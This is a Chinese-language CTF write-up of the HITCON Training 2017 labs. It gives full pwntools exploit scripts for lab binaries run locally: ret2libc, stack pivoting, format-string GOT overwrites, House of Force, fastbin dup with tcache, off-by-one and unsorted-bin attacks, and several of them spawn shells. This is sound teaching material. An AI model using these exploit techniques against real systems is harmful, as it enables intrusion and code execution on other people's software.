HITCON_Training_2017

2019-06-22

網路上發現有題目,於是下載下來練習看看,從stack一路到heap都有,真D佛心

lab1

source code:

因為我不懂加密法,這邊直接用 patch 的方式直接把if的判斷式改成nop

因為ida要錢,而且我又比較偏好在terminal上做事,所以我都用radare2就是這個原因

不過用 r2 patch 真的讓我找了一陣子才搞懂

首先 cp 一個檔案當備份,然後用指令先讓 r2 擁有對 ELF 的讀寫權限

r2 -Aw sysmagic_fix

因為有 source code,所以很輕易的就找到了處理 if 的 address

記住這個address , 我們先用q跳回shell 模式,然後s到那個address

再用Vp對那個 address 進行寫的動作

這時候的畫面大概長這樣

可以用"改變registers的擺放位置,第一行就是你要改寫的address,

A就可以更改他的assambly code

更改後他會再跟你做一次確認

然後就成功改好了

但從上面可以知道,他是跑print flag的code是從

0x08048724 c74588000000.  mov dword [local_78h], 0

這行開始

但我們的nop到中間這一行還多一個被截斷後新的assambly code,

所以我們要把這一行也nop, 讓他可以直接跑if true的地方

結束後我們重新執行一次程式就可以得到flag了

我們重新回去看被我們 patch 過的ELF

可以看到原本是cmp+jne的地方變成一條線下來了

然後下面的if我不太清楚是什麼,但看下來應該都不會跑到那邊去

因為

mov dword [local_78h], 0
mov eax, dword [local_78h]
cmp eax, 0x30
jbe 0x804872d;[gh]

這幾行就知道我們恆會去print flag的地方走

lab2

//TODO

lab3

ret2sc, 很明顯的知道我們要retrun to stack 執行我們的shellcode

看看執行的樣子:

看看他的保護機制:

很棒 什麼都沒開

最後看看objdump

第一個input是讓我們把shellcode寫進 global buffer 裡面

第二個gets則是讓我們利用overflow跳去 name 的buffer裡面執行shellcode

exp:

lab4

這一題是ret2libc

soruce code:

執行一下:

chekcsec:

可以看到他很好心的會幫我們print出記憶體裡面的資訊

這樣我們就直接給他puts@GOT然後recv他

再用下面的input進行overflow

這是標準解法的exp:

這是我自己習慣的只用一個input就達成的ret2libc:

用第二個解法的時候遇到一點問題

基本上libc 的address都是0xf7 開頭,stack則是0xff, 沒開PIE的程式碼區段

address 是0x8048000開始

但我們leak出看起來比較像的libc address 有兩個

0xf76450a00xf75f6a50 要怎麼知道哪一個才是puts的libc address呢?

大概說一下ASLR的機制,ASLR並不是完全的隨機打亂,他是基於一個固定的offset
上去做亂數打亂的

用這張圖就可以理解了

可以看到雖然記憶體位置是隨機變換的,但是他後三碼都是固定000

有人就透過這個機制做了一個查找libc版本號碼的網站

我們也可以利用這個機制,先看libc內的puts他的offset是多少,知道了他的offset後

就可以知道哪個是我們要的address了

lab5

#TODO

lab6

拖超久終於寫出來了….

pwn 跟 數學一樣,在理解後才覺得原理是多麽簡單QQ

首先我們先看 source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int count = 1337 ;

int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return ;
}

可以看到他多了一個 count 來限制我們只能 ret 一次,算是寬鬆版的 stack canary

因為他的 buf 是寫在 function 內的,該 buf 存在 stack 內 (ASLR)

這時候就可以透過 stack pivot (migration) bypass

我們先把 ebpesp 搬到 bss 上吧

最下面那行代表是,我們利用 read 把我們的 exploit chain 寫進 bss 內
因此下面開始放什麼進去 bss 內
首先第一步我們先 leak libc address 取得 libc 版本,為什麼要 pop_ebx_ret 而不是直接 ret, 是因為要先把 puts@GOT pop 出來再 ret

成功 leak 出 puts 的 libc address 了

但要知道比較精確的 libc 版本的話通常都建議 leak 兩個位址會得到比較精確的答案

因此我們先 recv 這個 address 並繼續 leak 我們下一個 libc address

下一個我是挑 read 下手

當下想了想,我為何不能直接把 ret address 設為下一個 puts 輸出 read libc address, 然後再下一個 ret address 設為 read 輸入呢?

於是我這麼幹了:

payload2 = flat([fake_ebp2, putsPLT, pop_ebx_ret, putsGOT, putsPLT,  pop_ebx_ret, readGOT,  readPLT, leave_ret, 0, fake_ebp2, 0x100])

然後這是結果

WTF? 為啥我一個 puts 會有三個 address ,其中一個跟 puts libc address 一樣可以先去除

剩下的兩個 address 我要如何辨別哪個是 read 呢? 又為什麼會這樣子 XDD

仔細 trace 後發現 (這是執行完第一個 puts 準備執行第二個之前的畫面)

中間多了一個莫名其妙的 _exit

再往下追原因發現pop ebx 也是一個這個現象的原因之一

ebx = array 的基底 address

講一個簡單的例子

1
2
3
4
5
int main(){
char *a="123";
puts(&a[1]);
return 0;
}

這樣子會輸出 23
但是如果改成這樣子就會噴error了

puts(&a[1] "a");

所以他實際執行應該是這樣子

1
2
*array = [read_GOT_address] + [_exit_GOT_address] + [puts_GOT_address]
puts(&array[0])

至於為什麼會這樣子,又為什麼多一個 _exit 我就沒再追下去了

雖然想這樣子說過去,但我剛剛改成 pop_ebp_ret 結果還是一樣QQ

雖然成因是錯的,但是上面puts的執行邏輯應該是沒錯啦,而且這是自己難得用 gdb trace 出來的 還是希望保留一下

總之我們兩個 libc address 都拿到後就可以開始跟 ret2libc 差不多的動作了

再來我們直接在 fake_ebp2 原地構建我們的 system("/bin/sh") 並且原地跳躍(?
要注意的是因為我們原地跳躍,所以 read 寫入後的 ret address 要先把 read 所需的那三個 argv pop 掉再 ret

這樣才會跳到 fake_ebp2 而不是 0x100 或是 0x0

最後附上完整的 exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

io = process("./migration")
binELF = ELF('./migration')
libc = ELF('./libc.so.6')

## bss
fake_ebp = binELF.bss() + 0x700
fake_ebp2= binELF.bss() + 0x800

#function
leave_ret = 0x8048504
ret = 0x8048505
pop_ebx_ret = 0x804836d
pop_3_ret = 0x8048569
pop_ebp_ret = 0x804856b
putsPLT = binELF.symbols['puts']
putsGOT = binELF.got['puts']
readPLT = binELF.symbols['read']
readGOT = binELF.got['read']
context.arch = 'i386'
context.terminal = 'bash'
context.log_level= 'debug'
offset = 40

io.recvline()

payload1 = flat(["".ljust(40, '\x90'), fake_ebp, readPLT, leave_ret, 0, fake_ebp, 0x100])

io.send(payload1)

payload2 = flat([fake_ebp2, putsPLT, pop_ebx_ret, putsGOT, putsPLT, pop_ebx_ret, readGOT, readPLT, leave_ret, 0, fake_ebp2, 0x100])

time.sleep(0.1)
io.send(payload2)
raw = io.recv()

puts = u32(raw[:4])

read = u32(raw[5:9])

log.info("puts is 0x%x" %puts)

log.info("read is 0x%x" %read)

time.sleep(0.1)
system_libc = libc.symbols['system']
puts_libc = libc.symbols['puts']
binsh_libc = libc.search('/bin/sh').next()

system = puts - puts_libc + system_libc
binsh = puts - puts_libc + binsh_libc

log.info("system is 0x%x" %system)
payload3 = flat([fake_ebp2, readPLT, pop_3_ret, 0, fake_ebp2, 0x100])
payload3 += p32(system) + 'bbbb' + p32(binsh)
io.send(payload3)
io.interactive()

Lab7

source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>

unsigned int password ;

int main(){

setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
system("cat /home/crack/flag");
}
}

用 pwntools 可以快速得出 offset
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = 'i386'
context.log_level = 'debug'


def leak_offset(payload):
r = remote("127.0.0.1", 8888)
r.recvuntil("name ? ")
r.sendline(payload)
r.recvuntil("Hello ,")
info = r.recv()
r.close()
return info

autofmt = FmtStr(leak_offset)

print(autofmt.offset)


下一步通常就是嘗試 leak binary, 但在這邊我們有 binary 就不用去 leak 了
想知道怎麼 leak 的話可以看我針對 Format String Attack 寫的文章
因為這也有 call system
所以可以直接嘗試拿 shell
但在那之前要先 leak stack canary 才行

原本是打算透過輸入到極限把 canary 最尾的 \x00 蓋掉,這樣 printf 的時候會一起把 canary print 出來
我連 offset 都算好了…我們輸入的地方只要再輸入 0x64+1 個字元就可以蓋到 canary 最後的 \x00

但最後發現他的 read 限制輸入 99(0x63) 個字元

無奈只好用 leak 特定位置的內容的方式來 leak canary

leak 的 payload 可以透過 python 達成

1
2
3
>>> for i in range(31,41):
... a = "%"+str(i)+"$x"
... print(a, end='')


在寫這篇的時候已經快凌晨 4 點了
我還是用正規方法 leak password 的 address 來做輸入好了
因為 32 位元的特性, address 都會被填滿,又剛好這個 address 沒有 \x00 有被截斷的風險,所以其實可以直接
p32(password) + b"%10$s", 但我還是養成習慣把 address 放到最後好了
password 的地址部分可以很容易地找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

binELF = ELF("./crack")
system_plt = binELF.plt['system']

offset = 10
canary_offset = 35
password = 0x804a048

"""
def leak_offset(payload):
r = remote("127.0.0.1", 8888)
r.recvuntil("name ? ")
r.sendline(payload)
r.recvuntil("Hello ,")
info = r.recv()
r.close()
return info

autofmt = FmtStr(leak_offset)
"""

payload = b"%12$saaa" + p32(password)
r = remote("127.0.0.1", 8888)
r.recvuntil("name ? ")
r.send(payload)
r.recvuntil(",")
passwd = u32(r.recvuntil("aaa")[:-3])
log.info("password is %x" %passwd)
print(r.recvuntil("password :"))
r.send(str(passwd))
r.interactive()


要注意 Format string attack 不一定每次都能成功,跑一次失敗可以多跑幾次看看

Lab8

這一題我當初在練 Format String 的時候一起解掉了
直接付 source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>

int magic = 0 ;

int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}

}

exp (拿 shell 版):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

magic = 0x804a038
offset = 7
context.arch = 'i386'
context.terminal='bash'
context.log_level='debug'
binELF = ELF("./craxme")
read = 0x080485a1
system = 0x080485ba
puts_GOT = binELF.got['puts']
printf_GOT = binELF.got['printf']
io = process("./craxme")
io.recvuntil("magic :")

payload = p32(puts_GOT) + p32(puts_GOT+2) + p32(printf_GOT) + p32(printf_GOT+2) + b"%7$34193x" + b"%7$n" + b"%8$33379x" + b"%8$hn" + b"%9$31756x" + b"%9$n" + b"%10$33780x" + b"%10$n"

io.sendline(payload)
io.interactive()

Lab9

這一題考得是 rbp chain

TODO

Lab10

這一題考的是 UAF
也是正式踏入 heap 的領域了
關於 heap UAF 的手法可以看我之前針對 heap 寫的文章

Lab11

這一題是考 House Of Force

透過將top chunk size 設成無限小 (-1) 以達到任意記憶體寫入

詳細的技術原理可以參考這個

先給第一段的 exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
r = process("./bamboobox")

context.log_level = 'debug'
context.terminal = 'bash'

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

magic = 0x400d49
additem(0x60,"bbbbbbbb")
modify(0,0x70,b"a"*0x60 + p64(0) + p64(0xffffffffffffffff))

要做的就是利用 HOF 將 top chunk 改到 0x2277240,然後再 allocate 一個 0x10 size 的空間,他就會蓋到下面的空間,將 goodbye_message 的位置改成 magic 之後退出,讓程式 call goodbye_message 就會觸發了

final exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *  
r = process("./bamboobox")

context.log_level = 'debug'
context.terminal = 'bash'
def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

magic = 0x400d49
additem(0x60,"ddaa")
modify(0,0x70,b"a"*0x60 + p64(0) + p64(0xffffffffffffffff))
additem(-160,"bbbb")
additem(0x10,p64(magic)*2)
r.recvuntil(":")
r.sendline("5")
r.interactive()

那個 -160 就是將 top chunk 控到 0x2277240

0x22772e0 - 160 = 0x2277240

所以要利用 -160 將 top chunk 往上抬到對應位置
這邊給一下步驟圖

modify(0,0x70,b"a"*0x60 + p64(0) + p64(0xffffffffffffffff))

additem(-160,"bbbb")

additem(0x10,p64(magic)*2)

最後:

Lab12

這一題考 fastbin dup

有風險的 code 在於 free((flowerlist[index])->name); 沒有將他設為 NULL

因為我的執行環境是 libc 2.27 的版本,並且經過 patch (有防 tcache double free)
所以我的 fastbin dup 會比較長一點

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

r = process("./secretgarden2")
#context.log_level = 'debug'
magic = 0x0000000000400c7b

def raise_flower(length, name, color):
r.sendlineafter(" : ", "1")
r.recvuntil("name :")
r.sendline(str(length))
r.recvuntil("name of flower :")
r.sendline(name)
r.recvuntil("color of the flower :")
r.sendline(str(color))

def show():
r.sendlineafter(" : ", "2")

def free(idx):
r.sendlineafter(" : ", "3")
r.recvuntil("garden:")
r.sendline(str(idx))

def clean():
r.sendlineafter(" : ", "4")


raise_flower(0x50, "zzzz", "blue") #0
raise_flower(0x50, "zzzz", "blue") #1
raise_flower(0x50, "zzzz", "blue") #2
raise_flower(0x50, "zzzz", "blue") #3
raise_flower(0x50, "zzzz", "blue") #4
raise_flower(0x50, "zzzz", "blue") #5
raise_flower(0x50, "zzzz", "blue") #6
raise_flower(0x50, "aaaa", "blue") #7
raise_flower(0x50, "bbbb", "blue") #8

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(7)

r.interactive()

然後因為我是 libc 2.27 的版本,所以不用因為 heap 指向的位置包含 chunk header 而去算 offset,直接指向要寫的位置就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

r = process("./secretgarden2")
#context.log_level = 'debug'
magic = 0x0000000000400c7b
fake = 0x602010

def raise_flower(length, name, color):
r.sendlineafter(" : ", "1")
r.recvuntil("name :")
r.sendline(str(length))
r.recvuntil("name of flower :")
r.sendline(name)
r.recvuntil("color of the flower :")
r.sendline(str(color))

def show():
r.sendlineafter(" : ", "2")

def free(idx):
r.sendlineafter(" : ", "3")
r.recvuntil("garden:")
r.sendline(str(idx))

def clean():
r.sendlineafter(" : ", "4")


raise_flower(0x50, "zzzz", "blue") #0
raise_flower(0x50, "zzzz", "blue") #1
raise_flower(0x50, "zzzz", "blue") #2
raise_flower(0x50, "zzzz", "blue") #3
raise_flower(0x50, "zzzz", "blue") #4
raise_flower(0x50, "zzzz", "blue") #5
raise_flower(0x50, "zzzz", "blue") #6
raise_flower(0x50, "aaaa", "blue") #7
raise_flower(0x50, "bbbb", "blue") #8

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(7)
raw_input()

raise_flower(0x50, "aaaa", "blue") #0
raise_flower(0x50, "aaaa", "blue") #1
raise_flower(0x50, "aaaa", "blue") #2
raise_flower(0x50, "aaaa", "blue") #3
raise_flower(0x50, "aaaa", "blue") #4
raise_flower(0x50, "aaaa", "blue") #5
raise_flower(0x50, "aaaa", "blue") #6
raw_input()
raise_flower(0x50, p64(fake), "cccc") #7
raw_input()
raise_flower(0x50, "1", "red") #8
raise_flower(0x50, "0", "red")
raise_flower(0x50,p64(magic) ,"red")
r.interactive()

做一次分解步驟的擷圖

首先 malloc 九個空間然後做 fastbin dup

把 tcache 的空間全部取出來

然後把 fastbin 第一個指向的 chunk 拿出來,將裡面的內容改寫成要任意寫入的地址

這邊指向 _dl_runtime_resolve_xsavec,因為只要輸入 5 離開程式後就會 call 到這個 function (透過動態追來的)

改寫後

最後

Lab12 rce

這一題其實可以做到 rce,只是有一些地方要克服

首先做 leak libc address,第一會想到的當然是做完 fastbin dup 之後,在做任意寫入之前先透過 Visit 功能把位址輸出

但會如果照著之前的作法會有一個問題

他的 +8 位址會爛掉,而 0x602018 正好是 free 的 GOT address,但 fastbin dup 的過程中這個 function 不可或缺,因此要找其他位址 leak

最後選定 leak setvbuf,因為他的 +8 位址是 open,很明顯 RCE 過程中不會用到這個 function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *                                                                                                                                                                   [69/280]

r = process("./secretgarden2")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#context.log_level = 'debug'
magic = 0x0000000000400c7b
#fake_chunk = 0x601ffa
exit = 0x602010
leak = 0x602070

def raise_flower(length, name, color):
r.sendlineafter(" : ", "1")
r.recvuntil("name :")
r.sendline(str(length))
r.recvuntil("name of flower :")
r.sendline(name)
r.recvuntil("color of the flower :")
r.sendline(str(color))

def show():
r.sendlineafter(" : ", "2")

def free(idx):
r.sendlineafter(" : ", "3")
r.recvuntil("garden:")
r.sendline(str(idx))

def clean():
r.sendlineafter(" : ", "4")


raise_flower(0x50, "zzzz", "blue") #0
raise_flower(0x50, "zzzz", "blue") #1
raise_flower(0x50, "zzzz", "blue") #2
raise_flower(0x50, "zzzz", "blue") #3
raise_flower(0x50, "zzzz", "blue") #4
raise_flower(0x50, "zzzz", "blue") #5
raise_flower(0x50, "zzzz", "blue") #6
raise_flower(0x50, "aaaa", "blue") #7
raise_flower(0x50, "bbbb", "blue") #8

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(7)

raise_flower(0x50, "aaaa", "blue") #0
raise_flower(0x50, "aaaa", "blue") #1
raise_flower(0x50, "aaaa", "blue") #2
raise_flower(0x50, "aaaa", "blue") #3
raise_flower(0x50, "aaaa", "blue") #4
raise_flower(0x50, "aaaa", "blue") #5
raise_flower(0x50, "aaaa", "blue") #6
raise_flower(0x50, p64(leak), "cccc") #7

raise_flower(0x50, "1", "red") #8
raise_flower(0x50, "0", "xxxx")
raise_flower(0x50,b"" ,"leak")

show()

r.recvuntil(b"xxxx")

libc_leak = u64(r.recvuntil(b"Color")[-12:-6].ljust(8, b'\x00')) #<__GI__IO_setbuffer+218>

log.info("libcleak is 0x%x" %libc_leak)

libc_base = libc_leak - 218 - libc.symbols['setbuffer']

log.info("libc base is 0x%x" %libc_base)


為什麼再算 libc offset 的時候要扣 218 呢?

因為在 raise_flower(0x50,b"" ,"leak") 這邊實際上還是會輸入換行符號 (0x0a)

leak 完 libc 之後就要準備 RCE 了,這邊使用 one gadget 比較省力
然後因為上一個空間被我搞爛了,所以這次做 fastbin dup 就 malloc 其他的空間

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *

r = process("./secretgarden2")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#context.log_level = 'debug'
magic = 0x0000000000400c7b
rce_got = 0x602010
leak = 0x602070

def raise_flower(length, name, color):
r.sendlineafter(" : ", "1")
r.recvuntil("name :")
r.sendline(str(length))
r.recvuntil("name of flower :")
r.sendline(name)
r.recvuntil("color of the flower :")
r.sendline(str(color))

def show():
r.sendlineafter(" : ", "2")

def free(idx):
r.sendlineafter(" : ", "3")
r.recvuntil("garden:")
r.sendline(str(idx))

def clean():
r.sendlineafter(" : ", "4")


raise_flower(0x50, "zzzz", "blue") #0
raise_flower(0x50, "zzzz", "blue") #1
raise_flower(0x50, "zzzz", "blue") #2
raise_flower(0x50, "zzzz", "blue") #3
raise_flower(0x50, "zzzz", "blue") #4
raise_flower(0x50, "zzzz", "blue") #5
raise_flower(0x50, "zzzz", "blue") #6
raise_flower(0x50, "aaaa", "blue") #7
raise_flower(0x50, "bbbb", "blue") #8

free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
free(8)
free(7)

raise_flower(0x50, "aaaa", "blue") #0
raise_flower(0x50, "aaaa", "blue") #1
raise_flower(0x50, "aaaa", "blue") #2
raise_flower(0x50, "aaaa", "blue") #3
raise_flower(0x50, "aaaa", "blue") #4
raise_flower(0x50, "aaaa", "blue") #5
raise_flower(0x50, "aaaa", "blue") #6
raise_flower(0x50, p64(leak), "cccc") #7
raise_flower(0x50, "1", "red") #8
raise_flower(0x50, "0", "xxxx")
raise_flower(0x50,b"" ,"leak")
context.log_level = 'debug'

show()
r.recvuntil(b"xxxx")
libc_leak = u64(r.recvuntil(b"Color")[-12:-6].ljust(8, b'\x00')) #<__GI__IO_setbuffer+218>

log.info("libcleak is 0x%x" %libc_leak)

libc_base = libc_leak - 218 - libc.symbols['setbuffer']

log.info("libc base is 0x%x" %libc_base)

onegadget = libc_base + 0x10a41c

log.info("one gadget is 0x%x" %onegadget)

# fastbin dup again
raise_flower(0x70, "zzzz", "blue") #20
raise_flower(0x70, "zzzz", "blue") #21
raise_flower(0x70, "zzzz", "blue") #22
raise_flower(0x70, "zzzz", "blue") #23
raise_flower(0x70, "zzzz", "blue") #24
raise_flower(0x70, "zzzz", "blue") #25
raise_flower(0x70, "zzzz", "blue") #26
raise_flower(0x70, "aaaa", "blue") #27
raise_flower(0x70, "bbbb", "blue") #28

free(20)
free(21)
free(22)
free(23)
free(24)
free(25)
free(26)
free(27)
free(28)
free(27)

raise_flower(0x70, "bbbb", "blue") #28
raise_flower(0x70, "zzzz", "blue") #20
raise_flower(0x70, "zzzz", "blue") #21
raise_flower(0x70, "zzzz", "blue") #22
raise_flower(0x70, "zzzz", "blue") #23
raise_flower(0x70, "zzzz", "blue") #24
raise_flower(0x70, "zzzz", "blue") #25

raise_flower(0x70, p64(rce_got), "blue") #26
raise_flower(0x70, "aaaa", "blue") #27
raise_flower(0x70, "aaaa", "blue") #28
raise_flower(0x70, p64(onegadget), "blue")
r.recvuntil("choice :")
r.sendline("5")

r.interactive()

接著上面 leak libc 之後的步驟,再次 fastbin dup

之後就跟 call magic 一樣的步驟,只是把 magic 改成 one gadget

Lab13

這一題考 Off-By-One exploit

程式的邏輯大概長這樣

主要漏洞點在這一段

透過溢位 1 個 byte overwrite 下一個 chunk 的 size 達到攻擊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

r = process("./heapcreator")
#context.log_level = 'debug'
free_got = 0x602018

def create(size, content):
r.recvuntil(':')
r.sendline("1")
r.recvuntil("Heap : ")
r.sendline(str(size))
r.recvuntil("heap:")
r.sendline(content)

def edit(index, content):
r.recvuntil(':')
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("heap :")
r.sendline(str(content))

def show(index):
r.recvuntil(':')
r.sendline("3")
r.recvuntil('Index :')
r.sendline(str(index))

def delete(index):
r.recvuntil(':')
r.sendline("4")
r.recvuntil('Index :')
r.sendline(str(index))

def exit():
r.recvuntil(':')
r.sendline("5")

create(0x18, "aaaa")
create(0x10, "bbbb")
edit(0, '/bin/sh\x00' + 'a'*0x10 + '\x41' )
delete(1)
r.interactive

首先 create 兩個,共 allocate 四個空間

edit 內容 overwrite 下一個 chunker header,將下一個 chunk header 改成 0x41

free

這樣就得到了一個經過變造的 0x40 與正常的 0x20 chunk
透過第一張圖可以知道這原本是兩個 0x20 的 chunk 組合起來的,所以我們可以用一個 0x40 的 heap 改寫下一個 heap 的 *content 內容
再透過 show 的功能就可以做到任意記憶體位置 leak 的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

r = process("./heapcreator")
#context.log_level = 'debug'
free_got = 0x602018

def create(size, content):
r.recvuntil(':')
r.sendline("1")
r.recvuntil("Heap : ")
r.sendline(str(size))
r.recvuntil("heap:")
r.sendline(content)

def edit(index, content):
r.recvuntil(':')
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("heap :")
r.sendline(content)

def show(index):
r.recvuntil(':')
r.sendline("3")
r.recvuntil('Index :')
r.sendline(str(index))

def delete(index):
r.recvuntil(':')
r.sendline("4")
r.recvuntil('Index :')
r.sendline(str(index))

def exit():
r.recvuntil(':')
r.sendline("5")

create(0x18, "aaaa")
create(0x10, "bbbb")
edit(0, '/bin/sh\x00' + 'a'*0x10 + '\x41' )
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.interactive


一樣先做一下分解圖,首先要一個 0x20 的空間放 size*content 的空間

在這一步把 allocate 的空間放入 heaparray

然後再 allocate 0x40 的空間

然後在這一步做輸入

show 出來

簡單來說,程式會先 allocate 完兩個空間,由於我是要了 0x30 的空間,所以程式會給我經過變造的 0x40 的空間與被包含在 0x40 空間內的 0x20 空間

這樣就拿到 libc base 了
附上 final exp 再來講解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
r = process("./heapcreator")
#context.log_level = 'debug'
free_got = 0x602018
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def create(size, content):
r.recvuntil(':')
r.sendline("1")
r.recvuntil("Heap : ")
r.sendline(str(size))
r.recvuntil("heap:")
r.sendline(content)

def edit(index, content):
r.recvuntil(':')
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("heap :")
r.sendline(content)

def show(index):
r.recvuntil(':')
r.sendline("3")
r.recvuntil('Index :')
r.sendline(str(index))

def delete(index):
r.recvuntil(':')
r.sendline("4")
r.recvuntil('Index :')
r.sendline(str(index))

def exit():
r.recvuntil(':')
r.sendline("5")

create(0x18, "aaaa")
create(0x10, "bbbb")
edit(0, '/bin/sh\x00' + 'a'*0x10 + '\x41' )
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.recvuntil("Content : ")

free_libc = u64(r.recv(6).ljust(8, b'\x00'))
log.info("free address is 0x%x" %free_libc)
libc_base = free_libc - libc.symbols['free']
log.info("libc_base address is 0x%x" %libc_base)
system = libc_base + libc.symbols['system']

edit(1, p64(system))
delete(0)

r.interactive()

然後再透過 edit 的功能,他會改 *content 指向位置內容,這邊就可以把 free_got 內的內容改成 system libc address


然後再 free 前面有 /bin/sh 內容的 chunk

Lab14

這一題考 unsortbin attack
這次轉到 libc 2.23 執行

觸發 flag 的點在這邊

magic 預設全域變數是 0,

其實他的原理很簡單,就是不會檢查 unlink 的 address,直接在 address 押上 fd 跟 bk
所以只要把 unsortbin 內 chunk 的 bk 改寫成 magic 的位址,這樣子 unlink 的時候就會把 magic 內的值改寫成 main_arena 的位址,其值一定大於 4869
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

r = process("./magicheap")

def create(size, content):
r.recvuntil('choice :')
r.sendline('1')
r.recvuntil('Heap : ')
r.sendline(str(size))
r.recvuntil('heap:')
r.sendline(content)

def edit(index, size, content):
r.recvuntil('choice :')
r.sendline('2')
r.recvuntil('Index :')
r.sendline(str(index))
r.recvuntil('Heap : ')
r.sendline(str(size))
r.recvuntil('heap : ')
r.sendline(content)

def delete(index):
r.recvuntil('choice :')
r.sendline('3')
r.recvuntil('Index :')
r.sendline(str(index))

magic = 0x6020c0

create(0x80, "aaaa") #0
create(0x20, "bbbb") #1
create(0x80, "cccc") #2
create(0x20, "dddd") #3

delete(0)
delete(2)
print(pidof(r))
edit(1, 0x40, b"b"*0x20 + p64(0)+p64(0x91)+p64(0)+p64(magic-0x10))
create(0x80, "zzzz")
